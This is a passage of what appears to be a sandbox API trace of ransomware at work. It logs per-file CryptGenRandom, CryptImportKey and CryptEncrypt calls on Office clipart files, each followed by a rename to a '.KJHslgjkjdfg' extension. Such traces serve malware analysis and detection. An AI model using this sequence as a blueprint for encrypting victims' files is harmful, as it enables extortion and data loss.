nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.889] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.889] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.889] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.889] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.889] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x29f8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x29f8, lpOverlapped=0x0) returned 1 [0238.908] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a00, dwBufLen=0x2a00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2a00) returned 1 [0238.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.908] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2a00, lpOverlapped=0x0) returned 1 [0238.908] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.908] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2ad4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.908] SetEndOfFile (hFile=0x130) returned 1 [0238.911] GetProcessHeap () returned 0x2ef0000 [0238.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.911] GetProcessHeap () returned 0x2ef0000 [0238.911] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.911] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00911_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00911_.wmf.kjhslgjkjdfg")) returned 1 [0238.914] CloseHandle (hObject=0x130) returned 1 [0238.914] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x28b4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00913_.WMF", cAlternateFileName="")) returned 1 [0238.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.916] GetProcessHeap () returned 0x2ef0000 [0238.916] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.916] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.916] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.916] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0238.918] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.918] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.918] GetProcessHeap () returned 0x2ef0000 [0238.918] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.918] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.918] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.919] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.919] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.919] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.919] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.919] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.919] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.919] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.919] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.919] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x28b4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x28b4, lpOverlapped=0x0) returned 1 [0238.920] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28c0, dwBufLen=0x28c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x28c0) returned 1 [0238.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.920] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x28c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x28c0, lpOverlapped=0x0) returned 1 [0238.920] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.920] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2994, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.920] SetEndOfFile (hFile=0x130) returned 1 [0238.923] GetProcessHeap () returned 0x2ef0000 [0238.923] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.923] GetProcessHeap () returned 0x2ef0000 [0238.923] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.923] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00913_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00913_.wmf.kjhslgjkjdfg")) returned 1 [0238.929] CloseHandle (hObject=0x130) returned 1 [0238.929] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b0c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00914_.WMF", cAlternateFileName="")) returned 1 [0238.929] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.930] GetProcessHeap () returned 0x2ef0000 [0238.930] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.930] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.930] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.931] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.933] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.933] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.933] GetProcessHeap () returned 0x2ef0000 [0238.933] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.933] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.933] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.933] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.933] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.933] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.933] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.933] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.933] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.934] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.934] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.934] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.934] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1b0c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1b0c, lpOverlapped=0x0) returned 1 [0238.934] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1b10) returned 1 [0238.934] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.935] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1b10, lpOverlapped=0x0) returned 1 [0238.935] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.935] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.935] SetEndOfFile (hFile=0x130) returned 1 [0238.938] GetProcessHeap () returned 0x2ef0000 [0238.938] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.938] GetProcessHeap () returned 0x2ef0000 [0238.938] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.938] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00914_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00914_.wmf.kjhslgjkjdfg")) returned 1 [0238.942] CloseHandle (hObject=0x130) returned 1 [0238.942] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5aa3ec70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bf8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00915_.WMF", cAlternateFileName="")) returned 1 [0238.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.943] GetProcessHeap () returned 0x2ef0000 [0238.943] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.943] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.943] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.943] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.949] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.949] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.949] GetProcessHeap () returned 0x2ef0000 [0238.949] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.950] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.950] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.950] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.950] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.950] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.950] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.950] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.950] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.950] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.950] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.950] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bf8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bf8, lpOverlapped=0x0) returned 1 [0238.951] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c00, dwBufLen=0x1c00 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1c00) returned 1 [0238.951] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.951] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1c00, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1c00, lpOverlapped=0x0) returned 1 [0238.952] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.952] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1cd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.952] SetEndOfFile (hFile=0x130) returned 1 [0238.953] GetProcessHeap () returned 0x2ef0000 [0238.953] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0238.953] GetProcessHeap () returned 0x2ef0000 [0238.953] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0238.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00915_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00915_.wmf.kjhslgjkjdfg")) returned 1 [0238.961] CloseHandle (hObject=0x130) returned 1 [0238.961] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6d3324f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1270, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SO00916_.WMF", cAlternateFileName="")) returned 1 [0238.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00916_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00916_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0238.962] GetProcessHeap () returned 0x2ef0000 [0238.962] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0238.962] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0238.962] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0238.963] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.963] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.963] GetProcessHeap () returned 0x2ef0000 [0238.963] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0238.963] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0238.963] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0238.963] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0238.967] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0238.967] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0238.967] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0238.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0238.967] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0238.967] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0238.967] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0238.967] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0238.967] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1270, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: 